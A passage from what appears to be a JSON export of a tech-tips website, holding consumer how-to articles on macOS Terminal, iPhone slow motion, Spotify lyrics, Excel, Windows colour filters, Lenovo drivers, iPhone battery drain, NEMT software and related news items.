Keyboard '.\n  Next, navigate to the Shortcuts tab . Here, click on the Services menu and scroll down to find the ' New Terminal at Folder ' option.\n  If you selected any of the folders in the Finder, open the Services menu from the Toolbar and choose ' New Terminal at Folder '.\n  This is especially useful if you frequently have to switch between the GUI and Terminal.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqegmrturYyfpqWclad6sLqMmmSmmZNiwrS1zaBkmmWTpLqurc2dZKKmXamys7nIp5il\n","link":"/post/how-to-open-a-folder-on-a-mac-using-a-command-in-terminal/","section":"post","tags":null,"title":"How to open a folder on a Mac using a command in Terminal"},{"body":"Slow motion movie (slow motion) is one of the coolest features on the iPhone and this is how to use it. The camera in the latest iPhone (and especially the iPhone X) is very good, especially when shooting slow motion movies, it's really much better than a DSLR camera.\nInstructions for beginners of DSLR cameras On iPhone 8, 8 Plus and iPhone X, you can shoot 1080p videos at 120 or 240 frames per second and 1080p at 120 frames per second; 720p at 240 frames per second on iPhone 7. To shoot slow motion video, go to Settings\u0026gt; Camera\u0026gt; Record Slo-mo .\n   Slow motion video recording Switch to the slow motion video recording mode by opening the iPhone camera app and selecting Slo-Mo from the selector or simply swiping right twice. The Slo-Mo mode only works with the rear camera, so you can't shoot the selfie video slowly.\n  Shooting slow motion video is the same as recording a normal video, just press the record button and point the camera to where you're going to shoot, when you're done, just press the button again.\nOne thing to note is that the videos move slower than regular videos (one minute of slow motion video has capacities ranging from 300MB to 500MB). If the capacity on the phone is not much, you should pay attention not to record video of this type for too long and only shoot it when needed.\nPocket some quality video recording tips on iPhone Editing slow motion videos By default, when recording a slow motion video, when the video starts, it will rotate at normal speed, the middle of the video will rotate at a slow speed and when the video ends, it will return to normal speed. Normally, video recording by default is not what the cameraman intended, so you need to edit it.\nOpen the Photos app, select the slow motion video you want to edit and tap the Edit button on the top right.\n  After that, an editing interface will appear. Below is a screenshot of the editing interface for you to better understand this interface. Number 1 on the image is the video preview frame (Video Preview), number 2 is slow motion timeline (Slow Motion Timeline) and number 3 is the video timeline (Video Timeline). The two sides also have the Cancel button, Play and Done.\n  Timeline Slow Motion controls which bits of the video are at normal speed and which bits are slow. You can see on the image, the timeline bar with the lines close together (at the beginning and end) indicates the normal speed and the timeline bar with the line separated from each other (in the middle of the timeline bar) moves slowly.\nTo adjust the slow motion of the video, touch and drag the small control bar in the middle of normal speed and slow motion. Use video preview mode to preview images while adjusting for best results.\n  Normally when recording slow motion video, you usually start or end with unwanted areas or points. So to cut out this section, you can use the video timeline by tapping on both sides. Note to preview to make sure everything is as you want.\n  After editing, press the Done button and then touch the Save as New Clip button to save the edit to Camera Roll.\n  This edit will be a new video so it does not replace the original video.\nIOS Photos apps are available with simple editing tools, but if you want to edit more about slow rotation speed or want more slow-motion, you need to use a third-party application.\nOne of the slow video editing applications is Slow Fast Slow, the application is completely free, without ad support. Studio Neat application developer also sells real products and uses the application as an advertising tool.\nWith Slow Fast Slow, you will use the waveform to adjust the speed of the video. If you want the video to move faster than usual, just leave the wave on the center line and leave it below for slower movement. Make edits by tapping and dragging the point to edit or tap and hold on the wave line to create a new point.\n  I wish you all success!\nSee more:\nHow to create slow motion videos on Android? Instructions for recording Slow Motion video on Windows 10 Mobile How to create effects Slow Motion video Windows 10 does not need software? ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquYpLy1ecCnm2adlJ7Bbr%2FLqK5mpZ%2BptrC6jK%2BgnZ2fqHqwuoyip6Gnnpo%3D\n","link":"/post/how-to-shoot-and-edit-slow-motion-videos-on-iphone/","section":"post","tags":null,"title":"How to shoot and edit slow motion videos on iPhone"},{"body":"The famous Spotify music service is officially available in Vietnam, released on all platforms from computer to phone, enabling you to stream music on many different devices. Spotify brings users a smart music service, with an easy-to-use intuitive interface.\nAfter installing and creating a Spotify account, you can access Spotify to search music for all genres for yourself. In particular, Spotify also offers karaoke features with songs that support lyrics. We can hum along the song and karaoke on Spotify. So how to turn on lyrics on Spotify?\nHow to register for a Spotify account to listen to music online Karaoke software on quality computers How to create lyrics of karaoke songs on Windows How to turn on lyrics on Spotify We can turn on the lyrics on Spotify computer or Spotify version on the phone very quickly.Note , currently the song lyrics feature only applies to foreign songs, Vietnamese music has not been applied this feature.\nDownload Spotify on PC Download Spotify on Android Download Spotify on iOS 1. Turn on the lyrics on Spotify PC You open the song on Spotify, with songs with lyrics, click on the microphone icon below.\n  Immediately you will see the lyrics appear on the screen attached to the various wallpaper effects. To turn off the lyrics press the microphone icon again.\n  If the user does not want the visual effect, or wants to change to another effect, click on Options . To turn off the effect, slide the horizontal bar to the left at Animated Background. To switch to another effect, just click on the arrow on both sides.\n  2. Turn on Spotify Android, iOS lyrics Similar to Spotify on a computer, with songs that support the lyrics, it will automatically show up on the Spotify Android, iOS app screen.\nYou play the song on Spotify and then click the song below the interface to open the song in full screen. After that, we will see the message Click to see the lyrics . The lyrics appear shortly after.\n   To zoom in on the lyrics, press Full screen . Thus, users will easily follow the lyrics and sing karaoke easier.\n   However, most of the lyrics support mode only applies to English songs, with other songs like Korean music, Japanese music will be displayed depending on the song but in the original language, not transcription. Vietnamese music to support the lyrics on Spotify will surely need to wait in the future.\nSee more:\nApplications that find 5-digit karaoke song codes How to connect a wireless microphone to a computer to sing karaoke Instructions for connecting pull speakers with Smart TV to sing karaoke I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu81mo7KqmZjAbrvNZqqpp6Ses7o%3D\n","link":"/post/how-to-turn-on-lyrics-on-spotify/","section":"post","tags":null,"title":"How to turn on lyrics on Spotify"},{"body":"Math is an important subject at all levels. Your child's self-study is essential and the determining factor for good or not. With the development of current technology, when faced with difficult problems, children often seek solutions through the Internet. The following article details how to use Coc Coc to solve math problems online to help students achieve high results in learning.\nFor example, when searching for a solution on Google Chorme, search results returned based on web pages:\n  When using Coc Coc, the results are specific and very detailed, helping them to search faster and more effectively:\n  Moreover, with Coc Coc, students can solve problems with many different types of problems such as:\n1. Some maths solve problems on Coc Coc With the form of a problem with a specific set and all the characters on the keyboard that support inputting formulas, you only need to enter the formula in the search box on Coc Coc -\u0026gt; press Enter.\nThe quadratic equation 2:\n  Solving cubic equation 3:\n  \u0026nbsp;Example of solving an exponential equation:\n  Solving trigonometric equations on Coc Coc:\n  Solving the system of equations on Coc Coc.\nYou cannot type the character of the equation system in Coc Coc's search bar. With this type of math you only need to enter 2 equations separated by commas. Coc Coc understands to solve the system of equations by itself:\n  2. Some complicated online solving problems on Coc Coc Especially with Coc Coc, you can solve problems that contain many different units of measurement in an equation:\n  For example, solving an equation containing many units of time:\n  Solve an equation containing square root on Coc Coc\nThe square root character is not supported when you enter search items in the browser. so you use the description instead of the square root 2 sign:\n  The special thing with Coc Coc 1 types of mathematical expression expansion . support and calculate very quickly:\nExample of extending an expression:\n  Compare values:\n  Find the greatest common divisor and the lowest common multiple:\n  Mathematical form factor analysis: Note that you need to add a description before entering the expression:\n  Math form decomposes into prime factors:\n  Especially with Coc Coc you can immediately draw function graphs in the browser:\n  Example of solving logarithmic equation on Coc Coc:\n  However, on a search browser you cannot display logarithms other than 10 and e. So you use words to describe:\n  Solve equations containing the absolute value sign:\n  The abbreviation problem on Coc Coc:\n  The problem simplifies the expression:\n  Currency conversion problem:\n  Above is a detailed guide on how to use Coc Coc to solve math problems online. However, with this method, they should use it to compare and compare with the results they have done. Hope to help them study better and get better results.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqku8JmmqibXam8br%2FOpa2eZZ2Wwal5z6umm6SVosBuu82loKed\n","link":"/post/how-to-use-coc-coc-to-solve-math-problems-online/","section":"post","tags":null,"title":"How to use Coc Coc to solve math problems online"},{"body":"  Excel has a Condititional Formatting tool that is quite adequate for the needs of users. However, the built-in formats of Excel are not enough to meet your needs, Excel supports users to easily create new rules.\nThe format rules are available in Conditional Formatting Conditional Formatting is located in the Home tab. To set the format for a range / column / row of data, select (highlight) the data range. Select the Home tab (1) and click on the Conditional Formatting icon (2) .\n  Highlight cells Rules - Rules highlight cell colors according to value rules Greater than: Greater value. Less than: Prices are smaller. Between: Value in the range. Equal to: Value is equal to. Text that Contains: The value contains a string of characters. A Date Occciring: The value contains a predefined date. Duplicate Value: Duplicate value. For example, in the table above, you find the revenue values ​​greater than 4,000,000,000 and highlight that cell color =\u0026gt; You select Greater than. In the value comparison section, you type the number 4,000,000,000,000 (1) . In the highlighted color section (2) , you can choose from the available Excel formats or customize by selecting Custom Format .\n  After selecting all the options, click the OK button. As a result, cells containing values ​​greater than 4,000,000 are highlighted.\nTop / Botton Rules - The rules for determining cells by rank Excel determines the cell's rank in the data range and formats that cell.\n  Top 10 Items: Format the 10 cells with the largest value. Top 10%: Format 10% of the maximum number of cells. Bottom 10 Items: The 10-cell format with the lowest value. Bottom 10%: Format 10% of the minimum number of cells. Above Average: Format cells that are larger than the average of the data range. Below Average: Format a cell smaller than the average value of the data range. For example, the table above, you need to format the color cells smaller than the average value of the data range, select Below Average. The format options window appears, you can choose the available formats of Excel or customize by selecting Custom Format . Then press the OK button .\n  Data Bar - Format the size of each value With this format, the size of each cell in the data range will be determined by long or short highlighting.\n  Color Scale - A rule to organize data in ascending and descending order according to the color density This rule will arrange the order of each cell in the string and highlight the color according to the format that the user chooses.\n  Icon Set - Add symbols in the value box With this type of format, Excel groups data by special symbols such as arrows, traffic lights, etc.\n  Create a new format rule in Excel If the types of formatting rules available do not meet the needs of the report, you can set up the new format by:\nStep 1: Select (black out) the data area to be changed. On the Home tab (1 ), click on the Conditional Formatting icon (2) and select New Rule (3) .\n  Step 2: New Formatting Rule window appears.\n  (1)  Select a Rule Type : select the type of data classification you need to perform.\nFormat all cells based on their values: Apply background color to all cells based on the value of the data range. Format only cells that contain: Apply cell background color that contains a certain data. Format only top or bottom ranked values: Highlight the first or last ranking cells in the selected data range. Format only values ​​that are above or below average: Highlight the cells with values ​​above or below the average value. Format only unique or duplicate values: Highlight cells with unique values ​​or duplicates in the selected data range. Use a formula to determine which cells to format: Use another formula to color. (2)  Edit the Rule Description : Optionally set the description for the data classification type you selected above.\nWith the above settings, Dexterity Software has set the format for the largest number, the color is orange and darker to the smallest. The results are as follows:\n  Delete and manage formatting rules To check and manage format rules, go to Conditional Formatting and select Manage Rules. The Manage window will appear, based on this window you can know which cell rules are applying. Here you can add formatting, edit / edit formats and delete formatting.\n  To delete all Conditional Formatting formats , you cannot edit by Fill (highlight the cell color), but you must delete the installed format by:\nStep 1: You only black out the data area but need to delete the format. On the Home tab (1 ), click on the Conditional Formatting icon (2) and select Clear Rules (3) .\nIn which: Clear rules from selected Cells is to delete the format in the currently selected cell.\nClear rules from entire Sheet is to delete all formatting from the open worksheet.\nAbove Software Tips showed you how to use Conditional Formatting format tool in Excel. Good luck!.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqku82doK2hn6OurXnFqKmmmaSptq%2BzjK2mZpufo7GqwMiopZqkXZu8s7nArauippditq95xLGanqQ%3D\n","link":"/post/how-to-use-conditional-formatting-to-conditional-formatting-in-excel/","section":"post","tags":null,"title":"How to use Conditional Formatting to conditional formatting in Excel"},{"body":"According to some statistics, 0.5% of women and 8% of men in the world suffer from color blindness - the ability to distinguish colors is reduced. In order to help these people see, distinguish colors better on computers, Microsoft has integrated into Windows 10 a pretty useful feature called Colorblind Mode.\nIf you look at the circles in the picture below without seeing one of the numbers (numbers 45, 8, 29 are in the first row and 56, 6, 25 are in the second row) then you may have color blindness to some extent.\n  To solve this problem, you can turn on Colorblind Mode in Windows 10 according to the instructions below.\nStep 1: Go to Start and type color filter -\u0026gt; click Turn color filters on or off.\n  Step 2: Click Turn on color filters to turn on the color filter feature.\n  Step 3: Choose the color mode that suits you.\n  You can use the shortcut Windows + Ctrl + C to activate or cancel colorblind mode on Windows 10.\nncG1vNJzZmismaXArq3KnmWcp51ktqd52KisZpuRo8Fuv8SeZK2glWK7trnBnqlmoZ5iwamxjKmgnKylp7Juxc6uZKaZqWKvpnnCqKOoql2Xuaq6w2arrqqeYryvedOhoKxlnaSxpnnOn2SwoZ6ZvLi%2FjGpn\n","link":"/post/if-you-can-t-see-the-number-in-the-picture-you-may-be-color-blind-turn-on-this-mode-of-windows-10/","section":"post","tags":null,"title":"If you can't see the number in the picture you may be color blind, turn on this mode of Windows 10"},{"body":"How to update driver for Lenovo laptop? In this article I will guide you how to install genuine drivers from the standard Lenovo home page without any adjustments!\nAfter installing Win, the essential software for your computer / laptop to operate is Driver, in OS versions like Win XP, Win 7 often lack a lot of Drivers.\nFortunately, in Windows 10, the multi-configuration Ghost Win 10 versions are almost fully integrated, but the driver package integrated in it does not always have new and standard drivers, so some lenovo laptops still lack Driver. .\nNo matter which of the above cases: Using Win Xp, Win 7 - 8 - 10, updating Driver from Lenovo homepage is a very necessary thing. Let's get started right away.\n1. What is Lenovo laptop driver? In the article how to install Driver manually / automatically, I explained the concept of Driver. This software has the same effect on all laptops - pc, it is the bridge between the hardware device and the operating system.\nFor example , how can the computer control the speakers that make the sound? Control the color display, etc. All operation is possible thanks to the Driver.\n2. Why and when do I have to install Driver for Lenovo laptop? Similar to other computers, Lenovo laptops also need to install Drivers for software and hardware to work together, in short, every laptop driver has the same effect.\nThe only difference between the Drivers of laptops is the manufacturer, we already know that the speakers, keyboards, touchpads, etc. of each laptop are manufactured differently. Therefore, you can not get Driver of this computer -\u0026gt; then install it on another computer. Each computer / laptop will have different hardware, so there will be a different way to install Drivers.\nIf you want to save time, you can refer to the automatic driver installation software such as Wandriver, Driver Booster, etc. They will automatically identify the Driver on your computer, laptop line and install the correct Driver.\nThese are also Drivers' installation packages that are often integrated into the Ghost Win version I introduced at the beginning of the article, although \" automatic \", but they are not completely \" genuine \" from the manufacturer. So there will be a few problems such as not identifying the driver, installing the missing or old Driver, etc. Now the standard and safest solution is to install the Driver from the Lenovo homepage , let's start the guide right away home.\n3. Lenovo laptops Lenovo is one of the most popular laptops in Southeast Asia, the most prominent being the Lenovo Gaming Legion series - exclusively for gamers. Some prominent laptops in this segment are Lenovo IdeaPad L340 15IRH, Lenovo Legion Y530 81FV008LVN, etc.\nIn the mid-range segment, Lenovo always launches new products every year for the two lines Lenovo IdeaPad and Lenovo Thinkpad - Mainly serving offices, businesses and learning purposes.\nFinally, the cheapest Lenovo is in the Lenovo Essential series, the popular laptop line suitable for novice laptop users who need to work - play lightly.\nNo matter which Lenovo laptop series you are using, you can apply the driver installation method that I guide below.\n4. How to download and install drivers for Lenovo laptops from the homepage Before you begin, make sure your computer has Microsoft .Net Framework installed! (Version 4.0 and above).\nStep 1. Check the Laptop name and Model Name on the back of the Laptop.\n  Step 2. Access the Lenovo homepage here and click Download tool now.\n  Step 3. If you don't know the name of your laptop, at the next web page, you can click on the download button . If you can check the name and model of your laptop, click Select Your Product to download a more standard driver .\n  In the example below I entered Model: X230 Laptop (ThinkPad) and clicked the Download button .\n  Step 4. Run the downloaded file by double-clicking left or right-clicking and selecting Open.\n  Step 5. Click Next.\n  Step 6. Select I accept . and then click Next again .\n  Step 7. Click Finish to finish the installation.\n  Step 8. If on Win 7 , choose Start -\u0026gt; enter lenovo in the search box and then select System Update.\nOn Win 10 , you just press the shortcut Windows + S-\u0026gt; enter lenovo and left click on the System Update app .\n  Step 9. Lenovo System Update dialog box appears, click the Next button .\n  Step 10. Wait a moment the hardware scan is going on.\n  Step 11. Check the Slect all option to select all drivers that are missing or too old, then click Next to continue.\n  Step 12. Click Download to download Driver.\n  Step 13. Wait a few seconds .\n  Step 14. Select Yes when asked, Lenovo System Update is asking if you want to automatically install / update the Driver after downloading. Right after that the Driver will be installed in a few minutes.\n  Step 15. Also in the Advanced section you can customize features such as:\nAutomatically check for new Driver updates View Drivers Installation History Restore hidden updates   The tutorial to install driver for Lenovo Laptop (download from home page) here is the end. I believe that with this method anyone can install wifi driver for lenovo machine, sound driver, monitor, etc.\nIf your friends also use Lenovo laptops, do not hesitate to share this tip with them!\nLaptop Lenovo ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZKKmo6murbiMnamirpWneqe70Wajnqafq7xuuMCpq6ioXZfGbrDOsKWlp5GZtq%2BzjJ%2BpqKVdqbWmeceopJ6okZyy\n","link":"/post/instructions-to-install-driver-for-lenovo-laptop-by-downloading-from-the-homepage/","section":"post","tags":null,"title":"Instructions to install driver for Lenovo Laptop by downloading from the homepage"},{"body":"In a recently published report, ZDNet technology site said that many iPhone users suddenly experience battery drain quickly after updating their device to iOS 13.5.1.\nAccording to ZDNet, iOS 13.5.1 causes the battery to drain faster than normal, the iPhone gets hotter and operates \"In the Background\" (Screen Off) more (more than an hour) as noted from the \"Battery\" section in \"Settings\" of equipment.\nRecently, Apple has officially confirmed this error with Forbes and said the cause comes from the Apple Music application. Accordingly, this pre-installed application consumes a lot of battery resources and causes the iPhone to drain the battery after only a few hours after being fully charged.\nHowever, the problem seems to affect all iPhone models (and some iPad models) on many iOS versions, including iOS 13.5.1 iOS 13.6 beta and iOS 14 beta.\n IPhone phones that drain the battery quickly need a quick and standard procedure. Illustration\nIf users want to see if their device is affected, go to: Settings\u0026gt; Battery\u0026gt; Show Activity. The affected user will see Apple Music using unusually large battery.\nIn a statement sent to Forbes, Apple confirmed the Apple Music app was having an error and it was trying to find a way to fix this. For affected users, Apple offers a temporary solution, \"Factory Reset\", to return the device to factory settings.\nHowever, according to some users, you can temporarily fix this error by resetting iCloud, deleting apps, . Users should try these remedies first before \"Factory Reset\" device because it will do lost personal data.\nIn addition to the above, if you see the iPhone has a fast battery drain phenomenon, try some simple troubleshooting tips below:\nCheck out location services Leaving too many apps allowed to use location services on your iPhone regularly will cause your phone to run out of battery in vain. Therefore to disable user location services go to Settings. Go to select Privacy. Then select Location services and switch to \"Off\" mode. This way, it is possible to prevent the iPhone from constantly checking where the user is and transmitting information to unnecessary applications that consume battery power.\nMailboxes are always active Similar to the problem with location services, the Mail box on the iPhone may constantly check the server of the mailbox to wait for a new message. You can force your iPhone to check your inbox only when you enter the Mail app on your device and pull down to update new emails by going to Settings. Select Mail, Contacts, Calendar. Select Find and load new data, then scroll to the bottom and select Manual.\nThe application is always running While sometimes multitasking will help quickly switch between apps, you'll need to remove unused apps in the multitasking bar if you don't want to drain your iPhone quickly. To do this, users can press the Home button twice, and swipe each application card upwards to exit the application. It is even possible to use multiple fingers at the same time, leaving many applications at once.\nThe screen is too bright Obviously, a too bright screen could cause the iPhone to run out of battery quickly. If you want to save iPhone battery first, please reduce the screen brightness down, the way is quite simple, you just need to swipe up the screen to turn on the iPhone's control center and adjust the brightness bar a bit lower.\nUsing non-genuine, poor quality batteries One of the reasons why iPhone phones run out of battery quickly is because users use batteries that don't guarantee quality. It is more dangerous to use a low quality battery that is even more prone to explosion, and should be strictly avoided.\nncG1vNJzZmismaXArq3KnmWcp51ktrG0zqecZpqRqcGmvthmm6uZmaN6pr7RqKlmraOav7R5x6iuZqyfYrOqxIyiqw%3D%3D\n","link":"/post/iphone-battery-drain-error-users-how-to-fix-it/","section":"post","tags":null,"title":"iPhone battery drain error, users how to fix it?"},{"body":"Missed pickups, no-shows, vehicle breakdowns, inefficient driver scheduling and lost drivers are just some of the common problems NEMT providers face on a daily basis. In the following article, let's learn about NEMT with TipsMake, difficulties of NEMT and solutions when participating in activities in the field of NEMT\n  What is NEMT? Non-emergency Medical Transportation (NEMT) includes all transportation services provided to patients who are not in an emergency or require an ambulance. NEMT is most commonly used by eligible Medicaid and Medicare members who require a ride to their medical appointment or the pharmacy.\nFrom a lack of a driver's license or vehicle to work or geographic isolation, there are many potential reasons why patients need NEMT. Depending on the needs of the customer, NEMT vehicles come with special equipment such as wheelchairs and stretchers to ensure passengers' safety and comfort when traveling to their destination.\nThe rides are non-urgent in nature, meaning there is no immediate threat to the health or life of the participants and no life-support elements are required on board. throughout the trip.\nPatients may request NEMT for a variety of reasons, including: lack of a valid driver's license, lack of work vehicle, geographic isolation, or physical inability to use traditional transportation , spiritual or development.\nNon-emergency Medical Transportation exists to ensure that participants have access to routine and preventive care, increase overall health outcomes and avoid costly ambulance bills or arrivals. emergency room. NEMT is especially important for people with chronic conditions such as diabetes, heart disease, cancer, COPD, or asthma.\nThe NEMT service includes multiple modes of transportation, including sedans, wheelchairs, taxis, stretchers, and mileage reimbursement. It may also include reimbursement for public transportation or long-distance accommodation such as air travel if a member requires long-distance or out-of-state treatment.\nNEMT covers all regions from urban to rural and transportation is always the least expensive and most appropriate mode of transport, determined on a case-by-case basis for each participant.\nBottom Line: NEMT services benefit so many people, not just people with disabilities. Elderly people, elderly people in rural areas with difficult traffic conditions, those without a driver's license or available means of work, and otherwise healthy people hindered by trauma, surgery or medications can also benefit from this mode of transportation.\nDifficulty joining NEMT All NEMT activities, such as route and schedule construction, dispatch management, and payment processes, take time and effort, especially if they are conducted manually without assistance. help of the right technology.\nAlso, Human Error is a big problem if the NEMT company relies heavily on human resources, This can lead to costly mistakes and adversely affect the NEMT business.\nIn fact, NEMT institutions often deal with many different sponsors. They may have different insurance plans and prefer different payment methods. This creates additional difficulties for NEMT companies. Here are some of the difficulties that any NEMT organization faces and is always looking for ways to solve:\nDamaged car Traffic problems Inefficient scheduling Incomplete routing Cancellation of flight Lost driver Pick up car On-demand trips Driver is not present Call a Car Additional Choose the best NEMT software NEMT software is groundbreaking technology that automates all aspects of your NEMT operations. It addresses the day-to-day challenges faced by companies operating in the NEMT sector. With NEMT software, you will easily manage your NEMT business activities in the most effective and cost-effective way.\u0026nbsp;\nRouteGenie RouteGenie is a powerful NEMT Software for non-emergency medical transportation providers that will ease the burden of scheduling, routing, dispatching and paying for NEMT trips!\n  RouteGenie NEMT software is a modern platform that automates all non-emergency medical transportation processes such as routing, scheduling, vehicle and driver management, as well as optimizing trip requests Go.\nRouteGenie handles daily NEMT challenges such as vehicle breakdowns, traffic issues, trip cancellations, driver calls, incoming calls, no-shows, additional trips, on-demand trips, etc.\nRouteGenie's solution also streamlines checkout operations to provide faster returns.\nThe advantages of RouteGenie RouteGenie is the best NEMT software that meets the needs of NEMT companies. It is comprehensive and customizable to individual needs. RouteGenie is suitable for both small businesses and large companies, and it is capable of creating optimized routes and schedules.\nRouteGenie integrates non emergency medical transportation billing software. RouteGenie NEMT software addresses day-to-day changes and challenges such as vehicle breakdowns, traffic issues, late cancellations, on-demand trips, additional trips, no-shows, calls, driver calls, etc\nYour NEMT business will enjoy the following benefits when using RouteGenie non-emergency medical transportation software:\u0026nbsp;\nScheduling Optimization : No more records, documents or paper-based systems! The intelligent system automatically assesses the needs of each passenger to determine what type of vehicle is needed and how many, saving dispatchers time and labor. Selecting the right vehicle : NEMT ROUTEGENIE software provides invaluable recommendations to ensure passengers receive the right vehicle. It detects patient needs to ensure the vehicle and driver's qualifications are appropriate for the trip. Saving driver's labor : RouteGenie determines the capacity of each vehicle. It's a great feature for both patients and service providers as it greatly reduces the risk of mistaken transportation or unqualified drivers. The software makes the service more efficient and saves time and labor. Streamline Invoicing and Payments : Software that creates digital invoices for customers and shares via Email. It is HIPAA compliant and can create PDF documents, email them in minutes. Software to create digital invoices for customers and share via Email. Improve on-time performance : The software detects the right pick-up and drop-off windows for every trip, enhancing on-time performance. Route optimization for drivers : Technology will do all the work for you! No more stress on routing! Just set up the system and it will generate routes for the driver! Automotive fuel economy and maintenance : Due to optimized schedules and routes, there will be less unnecessary and wasteful drives. To get started with RouteGenie, you can download and install RouteGenie here.\nConclude Above, TipsMake has explained to you about NEMT activities and difficulties when joining the NEMT industry. TipsMake has also introduced you to the best NEMT software that meets the needs of NEMT companies. Hope the information in this article is useful to you. Good luck.\nncG1vNJzZmismaXArq3KnmWcp51kxKnFjKecpqxdoq6vrcaepJ6mpGLAsLLTsJirnV2ewG61zKmmq6yRo8FuwM5mpZ6lpA%3D%3D\n","link":"/post/why-nemt-management-software-is-important-to-nemt/","section":"post","tags":null,"title":"Why NEMT management software is important to NEMT"},{"body":" 17 ideas of reusing super creative plastic bottles you may not know 13 tips are extremely useful in modern life today 10 extremely useful money-saving tips that many people often overlook Of course the first thing to buy pants is to know which pants fit you right? But if you are a bit lazy, is the overcrowded fitting room or store that is not convenient to try?\nWe have found 3 simple ways to make it easy to choose the right jeans and avoid going to the fitting room again . In the end, you'll find a pair of jeans that fit so much that you don't have to try it out every time you buy pants. Invite you to consult!\nStep 1: Choose the waist size   To choose jeans with size suitable for body size, use your hands to hold the 2 ends of the waistband and wrap it around your neck . If the two ends of the waistband can touch each other, that pants will fit you.\nNote : The ends of the belts do not necessarily have to touch each other, but they should easily wrap around your neck. Step 2: Measure the width of the abdomen   To find the pants that fit the belly width, do the following.Bend your elbows, your hands clenched and slid into the inside of your pants . If the length of the arm fits into the back of the pants, plus the waistband of the pants fits the neck, it is not a hesitation, it certainly fits your belly.\nNote : This approach is suitable for most types of jeans today but with high pants, this way will not be 100% accurate. Step 3: Check the fit of the pants   To check the length of pants, very simple. You just need to hold the 2 ends of the pants and pull 2 ​​pants to the sides according to the length of the arm span . The stretched and long pants right with your armrest are moderate.\nNote : The lower part of the pants must be placed just below the chin. How to make sure your legs fit into your jeans?\n  Hold your hand and pierce your pants. Your fist fits into the bear's bearer . If the fist is fit in the pants without being cramped and tight, the pants will be very easy to wear.\nNo need to try and still choose a \" standard and fit \" jeans!\n  See also: 10 effective solutions to stop snoring and improve your sleep\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51kgG6%2F056nrGWkpHqktM6oqp5lmpqur7%2BMrZ%2BarF2btrV51qKroaelqXq1vtiipaA%3D\n","link":"/post/3-steps-to-choose-jeans-that-fit-without-trying/","section":"post","tags":null,"title":"3 steps to choose jeans that fit without trying"},{"body":"1. Turn on DDE DDE stands for Dynamic Data Exchange.The above problem may occur if the Ignore other applications that use Dynamic Data Exchange (DDE) checkbox on the Excel Options page is selected.\nWhen you double click an Excel spreadsheet file in Windows Explorer, a DDE message will be sent to Excel.This message tells Excel it needs to open the spreadsheet file you just double-clicked.\nIf you select the Ignore option, Excel ignores DDE messages sent to it by other programs.Therefore, the DDE message sent by Windows Explorer to Excel will be ignored, and Excel will not open the spreadsheet file you double clicked.\nTo adjust this setting, follow these steps:\n1. Open Microsoft Excel\n2. On the File menu, select Options\n3. Click the Advanced tab\n4. Scroll down to the General group, uncheck the Ignore other applications that use Dynamic Data Exchange (DDE) checkbox if it is currently selected, and then press the OK button.\n  This method can also be applied to fix An error occurred when sending commands to the program or There was a problem sending the command to the program.\n2. Unhide the spreadsheet in the View tab On the View menu, you have the option to hide the workbook, sometimes it may be selected, and you cannot view the open workbook.Therefore, you check this option and if it is currently selected, uncheck it.\n  3. Turn off the Add-in The Excel add-ins and COM add-ins may also be the cause of this problem.These two types of add-ins are located in two different directories.To test, you need to turn off and isolate conflicts by turning off each add-in one by one.To do so, follow these steps\n1. On the File menu, select Options, and then select the Add-ins tab\n2. On the Manage list at the bottom of the screen, select COM Add-ins, and then press the Go button\n3. Uncheck one of the add-ins in the list, and then press the OK button\n4. Restart Excel\n5. If the problem persists, repeat steps 1-4, except step 3.\n6. If you still have problems after turning off all COM Add-ins, repeat steps 1-4, except for step 2, and then try to turn off the Excel add-ins as in Step 3.\nIf Excel can open the file, the add-in you just turned off is the cause of the problem.If this is the case, we recommend visiting the manufacturer's website and checking for new updates.If you do not find the new update, or if you do not need to use this add-in anymore, you can keep it off.\n  4. Reset file association To check if file associations on the system have the correct settings, on Windows 10, open Settings\u0026gt; Apps\u0026gt; Default apps.If you use Windows 8/7, you can use the Control Panel to do this.\n  If the file link setting is incorrect and you need to fix it, you can use a free utility called File Assosiation Fixer, developed by Lavish Thakkar, developed for TheWindowsClub.\n5. Disable hardware acceleration function Hardware acceleration may also be the cause of this problem.To fix, you should temporarily turn off this function until the manufacturer of the video card releases a patch.\nNote: You should regularly check the manufacturer's website to promptly update the latest patch.\nTo do so, go to File\u0026gt; Options and select the Advanced tab from the left pane.Next, move to the Display group and select the Disable hardware graphics acceleration checkbox.\n  6. Repair Office again If none of the above fixes the problem, you need to run the Office repair suite, online or offline.This will help fix problems with your Office suite.And if you still have problems after running Repair Office, you need to clean Microsoft Office (Clean Uninstall) and then reinstall the office suite from Microsoft.\n  ncG1vNJzZmismaXArq3KnmWcp51kg27DwLKqZqyfYrOqxIyer5ydnGKys77Oq2Snp6Risaq%2Fz6WYsqGenHq0vNGemJ2rmJqytXnCqKWtnZ6p\n","link":"/post/6-ways-to-fix-excel-error-not-displaying-spreadsheet-content/","section":"post","tags":null,"title":"6 ways to fix Excel error not displaying spreadsheet content"},{"body":"Apple today has issued an invitation for the event that will take place on September 9, 2014. Certainly at this event the iPhone 6 is expected to be released, but the tech community is also hoping for Apple's first wearable device, which is still called the iWatch.\n  \nThe 'tagline' line on the invitation is 'Wish we could say more' suggesting more about many other things that Apple might reveal in this event.\nThe Apple event will take place at Flint Center for the Performing Art, at De Anza College, Cupertino, at 10:00 am ( Pacific time ), ie at 10:00 on September 10, Vietnam time. We will update soon what happens at the event.\nncG1vNJzZmismaXArq3KnmWcp51krrG8y55koqujqrKlecCnZKKmpp7BosDIqKVmnp%2BnerW0xGacr52eqXqwuoysnKmslaKvpr6McmRraGFp\n","link":"/post/apple-issued-an-invitation-for-the-event-on-september-9-2014/","section":"post","tags":null,"title":"Apple issued an invitation for the event on September 9, 2014"},{"body":"Due to complicated weather conditions, it is expected that the completion of a broken AAG fiber optic line will be completed on October 6.\n  \nMr. Nguyen Van Khoa, General Director of FPT Telecom, said that the broken AAG cable repair schedule will start on September 29, the welding of the broken cable will be conducted on October 4 and expected to come. 6.10, the repair of AAG optical fiber will be completed.\nThis is the second break of AAG fiber optic cable this year (the first time broken in July last). This time, the AAG international optical fiber cable was broken at the Hong Kong side 